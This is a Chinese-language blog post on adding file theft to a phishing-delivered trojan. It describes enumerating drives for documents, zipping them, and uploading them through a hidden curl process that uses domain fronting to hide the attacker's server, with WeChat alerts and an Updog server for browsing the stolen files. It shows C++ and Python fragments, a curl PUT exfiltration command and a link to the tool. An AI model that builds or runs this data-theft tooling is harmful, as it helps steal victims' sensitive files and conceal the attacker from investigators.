炮灰马之文件窃取功能
前言
通常情况下,当我们前期通过发信拿到目标机器权限之后的第一件事就是想办法快速维权和尽可能多的搜集敏感信息,本文针对邮件马添加针对特定类型的敏感文件搜索功能和上传功能,尽量用最快的时间,最隐蔽稳定的方式,做最多的事情。
一、单功能版
C++ GetLogicalDriveStringsA枚举磁盘列表、遍历指定盘搜索特定类型文件包括CS反射DLL版本。
https://github.com/c1y2m3/FileSearch
用法:
1 | System Drive are:C:\D:\ |
二、改进版
在原项目基础上遍历全盘指定文件后缀,如docx,xlsx,pdf等敏感文件压缩打包并通过域前置上传到服务器,使用Server酱通知,提供后端进行展示下载,配合邮件马释放使用。
窃取文件
1 | void FindFile(char* pfilename, char* pfilter, char* fname,char* tempdir) |
C++ 调用第三方minizip库进行文件夹递归压缩,打包完的文件名为主机名-ipv4.zip
codeproject下载地址:http://www.codeproject.com/KB/files/zip_utils.aspx。
1 | char strTmpPath[MAX_PATH]; |
接收文件
参考链接:https://floatingoctothorpe.uk/2017/receiving-files-over-http-with-python.html
使用curl
或wget
将打包压缩的文件上传Put到文件服务器
example:python http_server.py 80 /opt/rh
1 | #!/usr/bin/env python |
直接请求容易暴露自己的服务器地址,增加溯源风险,所以这里用到了域前置,有效的隐藏服务器地址
在临时目录下释放curl客户端原文件,设置CreateProcess STARTUPINFO中的wShowWindow为SW_HIDE,进程以隐藏的方式在后台运行上传。
example:curl.exe -X PUT –upload-file xxx.zip 202.xxx.xxx.xx -H “Host:login.x.com”
1 | // 客户端上传 |
数据监控
文件上传成功后使用Server酱进行文件上传提醒
绑定:点击「微信推送」,扫码关注同时即可完成绑定
发消息:往
发GET请求,就可以在微信里收到消息啦
1
2
3url = "https://sc.ftqq.com/SCUxxxxxxxxxxx5f04129c5dc9a.send"
d = {'text': '文件上传成功', 'desp': time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) + "\n\n文件名:{}\n\n请登录后台查看~".format(filename)}
requests.post(url, data=d)
文件展示
Updog是Python的替代品SimpleHTTPServer
。它允许通过HTTP / S进行上传和下载,可以设置临时SSL证书并使用HTTP基本身份验证。
example:python3 updog -d /opt/rh/ –password directory
使用HTTP基本身份验证。要登录,将用户名留空,然后在“密码”字段中输入密码
启动
1 | #!/bin/bash |
演示
思路和主要代码都给出来了,自动动动手就写出来了~如果有意向可以一起交流。